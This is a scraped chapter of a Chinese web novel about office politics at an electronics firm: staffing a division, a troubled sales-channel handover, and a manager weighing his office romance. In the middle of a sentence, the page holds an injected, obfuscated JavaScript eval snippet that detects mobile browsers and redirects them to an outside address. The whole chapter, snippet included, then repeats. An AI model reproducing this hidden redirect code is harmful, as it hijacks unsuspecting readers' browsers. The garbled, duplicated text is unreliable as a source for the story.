女Sales的游戏陆有间
72. 因人设岗
小
大
周泊言周一到公司看到李西廷提交上来的事业部招聘计划，李西廷现在手上用得顺手的人不多，有点急了。
彭先泽的犹豫会影响到李西廷的稳定，彭先泽如果不来，这个搭档的人选是个问题。
最重要的一点是和李西廷的信任和默契。
周泊言很快想到了梁菲。
梁菲是合适的人选。
经过周末的事，他也不由得思考。
他真的给了梁菲足够的尊重吗？他要怎么尊重梁菲才是真正的尊重？
他选择了梁菲，就要尊重梁菲独立发展的核心意愿。
这个尊重包括，她作为独立个体的个性和意愿，她自由成长的空间和时间，她职业发展的机会和平台。
除了尊重，他也要让梁菲在这段关系里得到满足，保护梁菲不受到伤害，不管是物质上的还是精神上的，这是作为男人，作为伴侣的基本责任感，他有责任让爱的人感觉到幸福。
而他对梁菲的职业规划有足够大的影响力，至少目前为止是正面的影响，如果这些影响符合梁菲的职业规划和个人意愿，他有什么理由不给这样的机会和平台，他可以给出来，让梁菲去做选择。
经营企业带团队最需要公正，他这个建议是基于公正公平的考量，只不过世界上没有身正不怕影子歪这回事，办公室恋情面对的问题，他和梁菲迟早要面对，短时间内也许可以通过不公开关系逃避，时间长了瞒不住。
梁菲又是怎么考虑，会做什么样的选择？
万一梁菲选择了机会和平台，爱惜羽翼，为了职业发展的核心目标，放弃了和他的亲密关系？
周泊言不自觉拉开抽屉，里面放着一包烟，他抽出一支揉搓，直到指腹上沾上了烟草味，他扔掉了那只烟。
周泊言觉得有点骑虎难下，他要考虑电子事业部的稳定发展，要帮李西廷解决用人的问题，减少彭先泽的迟疑，犹豫造成的负面影响，他也要尊重梁菲的职业发展意愿要给梁菲这个机会，代价是有可能牺牲掉他和梁菲不够稳定的亲密关系。
他的电脑屏幕上显示着李西廷的邮件，彭先泽回来顺理成章行使副总职权，李西廷不邀请梁菲回来是暂时没有梁菲合适的职位，一旦有合适的职位，李西廷，彭先泽，梁菲三个人是铁三角，最稳定的结构。
他无法选择，没有答案，周泊言不想选择，周老板不能不选择，为了梁菲的职业和电子事业部的发展考虑都只有一个选择。
周泊言想到这里，给李西廷发了信息：「中午一起吃饭。」
—
孙宏斌在茶水间碰到乔明语，“经销商都去拜访过了吗？”
乔明语说：“孙总，其他销售只是把经销商资料给了我，最好是他们带我拜访一圈，做个交接，他们现在没时间，我一个人干着急。”
孙宏斌点点头，“思路挺好，你要跟他们约好时间，谁有空谁先去。”
孙宏斌倒了咖啡走了，乔明语心情烦躁，洗杯子的时候撞到水槽，裂开了，捡碎片的时候碰到了手指，出了一点血，她马上打开水龙头冲洗，在柜子里找到应急医药箱，拿了一个创口贴贴上，在手机上点了个咖啡。
李西廷让孙宏斌把经销商渠道从销售手里全部收归交给乔明语负责，孙宏斌嘴上积极，实际行动不支持，老销售都是孙宏斌的人，看孙宏斌的态度做事。
她找了其他销售，有些不冷不热，有些是推三阻四不配合，还有阴阳怪气的嘲讽，不肯把经销商交接出来，她在大源科技六年，从来没有受过这么多气，不由得对李西廷也有了几分意见，觉得他拿自己当枪使，向孙宏斌开炮，收归孙宏斌手里的经销商资源。
她找罗景然说这个事有多难办，简直是前有狼后有虎，“你觉得李西廷是不是想把我干掉，故意找了个这么难办的差事给我。”
罗景然半晌后无奈地说：“收归经销商到你手上是多大的信任，你要是干不了早点去找李西廷，有的是人抢着干。”
乔明语委屈地说：“老板安排的工作，我没有不想干，只是这事真的很难办，孙宏斌不配合，其他销售天天给我脸色。”
罗景然说：“只要达到你的目的，你管他们什么脸色和态度，你的神经太脆弱了。”
乔明语说：“你到底站在哪边？李西廷把我当刀使，你还要这么说我。”
罗景然说：“你觉得自己被利用了？吃亏了？你起码还有利用的价值，你在大源科技混日子也混得差不多了吧？多少人有这样的机会管理大源科技的经销商，要我说你的运气已经好上天了，你的问题太大了。”
乔明语被罗景然骂了一顿，又气又伤心，“你根本不知道我面对的是什么，您是罗总，格局大，我就一小销售，老板让我干什么我就干什么，我不要什么机会，也受不了这份罪。”
说完啪的挂了电话，气恼地看着手机，恨不得把手机扔出去，把罗景然骂了一万遍。
老板安排的事还得继续干，乔明语想了想，也没去找李西廷，做了一个交接时间表出来，发给所有销售，让他们在邮件上回复哪个时间段有空，邮件抄给了李西廷和孙宏斌，没多久，销售陆陆续续在邮件上回复了时间。
李西廷下午有三个面试，面试完回到办公室看到乔明语的邮件，皱了皱眉，到大源科技什么业绩都没做出来，先内耗起来，李西廷经营企业的两年，让他学到了许多在大公司打工学不到的东西，对人性中暗昧和隐秘的波动有了更深刻的洞察，看人更看心性和细节。
乔明语和孙宏斌目前的表现和努力，只能说这几年在大源科技这个平台过得太安逸，放弃了自我成长，这也是周泊言邀请他重新回来的重要原因。现在的大源科技电子事业部，就像一股压在冰封的表面下的暗流，谁能不被暗流卷走，谁又能在暗流中把握机会，都要看各自的本领和修行。
他打电话给彭先泽，响了两声，先泽那边挂断了电话，这个电话到了临午饭前才回过来，在李西廷去食堂的路上接到。
李西廷说：“先泽。”
彭先泽说：“我下午去上汽了，有个项目在谈，现在谈得挺顺利。”
李西廷顿住了脚步，回身找了个空会议室推门进去，让自己保持平静的心态，尽量轻松的语气，“贷款不够还吗？我记得应收账款和贷款平账。”
彭先泽没有回答而是说：“难道你真打算给周泊言打一辈子工？再说能打多久还是个问题，等到你去大源科技的首要目标完成了，大刀阔斧地改革触动了很多人的利益，到时候出刀子的人就是周泊言。”
李西廷手扶在会议室的门上，以防有人进来，“我们已经讨论过很多次，这个行业已经进入寡头垄断阶段，小微企业发展空间太小，现在这个
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16141492|172437||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
决定是深思熟虑的结果，周泊言提供更好的机会和平台，我们回到大源科技，电子事业部这么多年动荡正是需要稳定的时候，周泊言不可能一直兼着电子事业部总经理，将来未必没有独立运营的一天，只要能实现双赢，周泊言不是这么不开放的人。”
彭先泽说：“我没有答应，给你一个公司，不用你承担风险，你当周泊言做慈善吗？信任你是他的人品，牵制你是他的手段，两者不矛盾，除非大源科技发生了什么大动荡，现在的结构已经非常稳定，你无法说服我，我要保留长远发展的火种，我暂时不去。”
话说到这份上就没法说了，李西廷听了这段话，内心震动不已，这些他不是没想过，而是没想到他和彭先泽做了完全不一样的选择，要么打工，要么创业，这就是职业生涯的两条路。
挂了电话，李西廷平复了心情，要是彭先泽不过来，就目前电子事业部他没有可以用得顺手的人，没有人可以用，位置就是假的。李西廷不由想到了梁菲，梁菲现在在soLA适应良好，从甲方平台回到乙方平台一定是落差的，梁菲在soLA的薪资水平福利待遇和大源科技中高层管理岗位对标，没有合适的岗位，即便梁菲愿意回来，怎么安排还是个问题。
他从会议室出来去食堂，进廊桥之前碰到了主楼走出来的周泊言，两个人一起往食堂走，上一次在食堂碰面，聊了彭先泽的事，现在彭先泽有了决定，他也要汇报给周泊言，去食堂的路上人多，他没开口。
拿了餐盘有默契似的，没有坐在大厅的位置，选一个会客的独立包厢坐下，关上门。
周泊言说：“彭先泽那边怎么样了？”
李西廷说：“彭先泽有其他考虑，暂时不过来。”
周泊言看着李西廷，微微一笑，“这两天我一直在想这个事情，除了彭先泽还有谁能帮你，电子事业部主要还是电子产业链的业务，既要对这个行业足够熟悉，也要和你有足够的信任。”
李西廷说：“我想我有人选了。”
周泊言等他继续说。
李西廷接着说：“梁菲要是能回来也是个合适的人选，只不过她现在的资历和经验，电子事业部没有合适的位置。”
彭先泽的资历可以代行电子事业部副总经理的职权，梁菲不够，只能是销售总监这样的中层管理级别，电子事业部的中层管理岗位没有空缺。
周泊言说：“英雄所见略同，岗位的事好办，因人设岗就好了，甲方到乙方有落差，在管理职级上往上走一档也合理。”
李西廷笑说：“这样就好了，我去找梁菲谈谈。”
周泊言说：“你做两手准备，彭先泽那边我也一直在想他还有什么顾虑，是什么地方让他迟疑了，他下不了决心，一定有他想的问题，一个企业资金业务各方面正常，请空降兵过来一般就是那几个原因，当首要目标达到，到时候空降兵怎么办呢？”
周泊言继续说：“对我来说你不是空降兵，你本来就是大源科技的老员工，我这里有一个方案，你走的时候兑现的股权以原价的方式兑回，你要是钱不够，我先借给你，等公司港股上市后，你再还给我，彭先泽回来也是一样。”
李西廷再一次感觉到周泊言的老辣，周泊言既做了人情，又堵住漏洞，思虑缜密，眼光长远到让李西廷佩服，李西廷再没有后顾之忧，决定先找梁菲谈一谈。
彭先泽的犹豫会影响到李西廷的稳定，彭先泽如果不来，这个搭档的人选是个问题。
最重要的一点是和李西廷的信任和默契。
周泊言很快想到了梁菲。
梁菲是合适的人选。
经过周末的事，他也不由得思考。
他真的给了梁菲足够的尊重吗？他要怎么尊重梁菲才是真正的尊重？
他选择了梁菲，就要尊重梁菲独立发展的核心意愿。
这个尊重包括，她作为独立个体的个性和意愿，她自由成长的空间和时间，她职业发展的机会和平台。
除了尊重，他也要让梁菲在这段关系里得到满足，保护梁菲不受到伤害，不管是物质上的还是精神上的，这是作为男人，作为伴侣的基本责任感，他有责任让爱的人感觉到幸福。
而他对梁菲的职业规划有足够大的影响力，至少目前为止是正面的影响，如果这些影响符合梁菲的职业规划和个人意愿，他有什么理由不给这样的机会和平台，他可以给出来，让梁菲去做选择。
经营企业带团队最需要公正，他这个建议是基于公正公平的考量，只不过世界上没有身正不怕影子歪这回事，办公室恋情面对的问题，他和梁菲迟早要面对，短时间内也许可以通过不公开关系逃避，时间长了瞒不住。
梁菲又是怎么考虑，会做什么样的选择？
万一梁菲选择了机会和平台，爱惜羽翼，为了职业发展的核心目标，放弃了和他的亲密关系？
周泊言不自觉拉开抽屉，里面放着一包烟，他抽出一支揉搓，直到指腹上沾上了烟草味，他扔掉了那只烟。
周泊言觉得有点骑虎难下，他要考虑电子事业部的稳定发展，要帮李西廷解决用人的问题，减少彭先泽的迟疑，犹豫造成的负面影响，他也要尊重梁菲的职业发展意愿要给梁菲这个机会，代价是有可能牺牲掉他和梁菲不够稳定的亲密关系。
他的电脑屏幕上显示着李西廷的邮件，彭先泽回来顺理成章行使副总职权，李西廷不邀请梁菲回来是暂时没有梁菲合适的职位，一旦有合适的职位，李西廷，彭先泽，梁菲三个人是铁三角，最稳定的结构。
他无法选择，没有答案，周泊言不想选择，周老板不能不选择，为了梁菲的职业和电子事业部的发展考虑都只有一个选择。
周泊言想到这里，给李西廷发了信息：「中午一起吃饭。」
—
孙宏斌在茶水间碰到乔明语，“经销商都去拜访过了吗？”
乔明语说：“孙总，其他销售只是把经销商资料给了我，最好是他们带我拜访一圈，做个交接，他们现在没时间，我一个人干着急。”
孙宏斌点点头，“思路挺好，你要跟他们约好时间，谁有空谁先去。”
孙宏斌倒了咖啡走了，乔明语心情烦躁，洗杯子的时候撞到水槽，裂开了，捡碎片的时候碰到了手指，出了一点血，她马上打开水龙头冲洗，在柜子里找到应急医药箱，拿了一个创口贴贴上，在手机上点了个咖啡。
李西廷让孙宏斌把经销商渠道从销售手里全部收归交给乔明语负责，孙宏斌嘴上积极，实际行动不支持，老销售都是孙宏斌的人，看孙宏斌的态度做事。
她找了其他销售，有些不冷不热，有些是推三阻四不配合，还有阴阳怪气的嘲讽，不肯把经销商交接出来，她在大源科技六年，从来没有受过这么多气，不由得对李西廷也有了几分意见，觉得他拿自己当枪使，向孙宏斌开炮，收归孙宏斌手里的经销商资源。
她找罗景然说这个事有多难办，简直是前有狼后有虎，“你觉得李西廷是不是想把我干掉，故意找了个这么难办的差事给我。”
罗景然半晌后无奈地说：“收归经销商到你手上是多大的信任，你要是干不了早点去找李西廷，有的是人抢着干。”
乔明语委屈地说：“老板安排的工作，我没有不想干，只是这事真的很难办，孙宏斌不配合，其他销售天天给我脸色。”
罗景然说：“只要达到你的目的，你管他们什么脸色和态度，你的神经太脆弱了。”
乔明语说：“你到底站在哪边？李西廷把我当刀使，你还要这么说我。”
罗景然说：“你觉得自己被利用了？吃亏了？你起码还有利用的价值，你在大源科技混日子也混得差不多了吧？多少人有这样的机会管理大源科技的经销商，要我说你的运气已经好上天了，你的问题太大了。”
乔明语被罗景然骂了一顿，又气又伤心，“你根本不知道我面对的是什么，您是罗总，格局大，我就一小销售，老板让我干什么我就干什么，我不要什么机会，也受不了这份罪。”
说完啪的挂了电话，气恼地看着手机，恨不得把手机扔出去，把罗景然骂了一万遍。
老板安排的事还得继续干，乔明语想了想，也没去找李西廷，做了一个交接时间表出来，发给所有销售，让他们在邮件上回复哪个时间段有空，邮件抄给了李西廷和孙宏斌，没多久，销售陆陆续续在邮件上回复了时间。
李西廷下午有三个面试，面试完回到办公室看到乔明语的邮件，皱了皱眉，到大源科技什么业绩都没做出来，先内耗起来，李西廷经营企业的两年，让他学到了许多在大公司打工学不到的东西，对人性中暗昧和隐秘的波动有了更深刻的洞察，看人更看心性和细节。
乔明语和孙宏斌目前的表现和努力，只能说这几年在大源科技这个平台过得太安逸，放弃了自我成长，这也是周泊言邀请他重新回来的重要原因。现在的大源科技电子事业部，就像一股压在冰封的表面下的暗流，谁能不被暗流卷走，谁又能在暗流中把握机会，都要看各自的本领和修行。
他打电话给彭先泽，响了两声，先泽那边挂断了电话，这个电话到了临午饭前才回过来，在李西廷去食堂的路上接到。
李西廷说：“先泽。”
彭先泽说：“我下午去上汽了，有个项目在谈，现在谈得挺顺利。”
李西廷顿住了脚步，回身找了个空会议室推门进去，让自己保持平静的心态，尽量轻松的语气，“贷款不够还吗？我记得应收账款和贷款平账。”
彭先泽没有回答而是说：“难道你真打算给周泊言打一辈子工？再说能打多久还是个问题，等到你去大源科技的首要目标完成了，大刀阔斧地改革触动了很多人的利益，到时候出刀子的人就是周泊言。”
李西廷手扶在会议室的门上，以防有人进来，“我们已经讨论过很多次，这个行业已经进入寡头垄断阶段，小微企业发展空间太小，现在这个
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16141492|172437||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
决定是深思熟虑的结果，周泊言提供更好的机会和平台，我们回到大源科技，电子事业部这么多年动荡正是需要稳定的时候，周泊言不可能一直兼着电子事业部总经理，将来未必没有独立运营的一天，只要能实现双赢，周泊言不是这么不开放的人。”
彭先泽说：“我没有答应，给你一个公司，不用你承担风险，你当周泊言做慈善吗？信任你是他的人品，牵制你是他的手段，两者不矛盾，除非大源科技发生了什么大动荡，现在的结构已经非常稳定，你无法说服我，我要保留长远发展的火种，我暂时不去。”
话说到这份上就没法说了，李西廷听了这段话，内心震动不已，这些他不是没想过，而是没想到他和彭先泽做了完全不一样的选择，要么打工，要么创业，这就是职业生涯的两条路。
挂了电话，李西廷平复了心情，要是彭先泽不过来，就目前电子事业部他没有可以用得顺手的人，没有人可以用，位置就是假的。李西廷不由想到了梁菲，梁菲现在在soLA适应良好，从甲方平台回到乙方平台一定是落差的，梁菲在soLA的薪资水平福利待遇和大源科技中高层管理岗位对标，没有合适的岗位，即便梁菲愿意回来，怎么安排还是个问题。
他从会议室出来去食堂，进廊桥之前碰到了主楼走出来的周泊言，两个人一起往食堂走，上一次在食堂碰面，聊了彭先泽的事，现在彭先泽有了决定，他也要汇报给周泊言，去食堂的路上人多，他没开口。
拿了餐盘有默契似的，没有坐在大厅的位置，选一个会客的独立包厢坐下，关上门。
周泊言说：“彭先泽那边怎么样了？”
李西廷说：“彭先泽有其他考虑，暂时不过来。”
周泊言看着李西廷，微微一笑，“这两天我一直在想这个事情，除了彭先泽还有谁能帮你，电子事业部主要还是电子产业链的业务，既要对这个行业足够熟悉，也要和你有足够的信任。”
李西廷说：“我想我有人选了。”
周泊言等他继续说。
李西廷接着说：“梁菲要是能回来也是个合适的人选，只不过她现在的资历和经验，电子事业部没有合适的位置。”
彭先泽的资历可以代行电子事业部副总经理的职权，梁菲不够，只能是销售总监这样的中层管理级别，电子事业部的中层管理岗位没有空缺。
周泊言说：“英雄所见略同，岗位的事好办，因人设岗就好了，甲方到乙方有落差，在管理职级上往上走一档也合理。”
李西廷笑说：“这样就好了，我去找梁菲谈谈。”
周泊言说：“你做两手准备，彭先泽那边我也一直在想他还有什么顾虑，是什么地方让他迟疑了，他下不了决心，一定有他想的问题，一个企业资金业务各方面正常，请空降兵过来一般就是那几个原因，当首要目标达到，到时候空降兵怎么办呢？”
周泊言继续说：“对我来说你不是空降兵，你本来就是大源科技的老员工，我这里有一个方案，你走的时候兑现的股权以原价的方式兑回，你要是钱不够，我先借给你，等公司港股上市后，你再还给我，彭先泽回来也是一样。”
李西廷再一次感觉到周泊言的老辣，周泊言既做了人情，又堵住漏洞，思虑缜密，眼光长远到让李西廷佩服，李西廷再没有后顾之忧，决定先找梁菲谈一谈。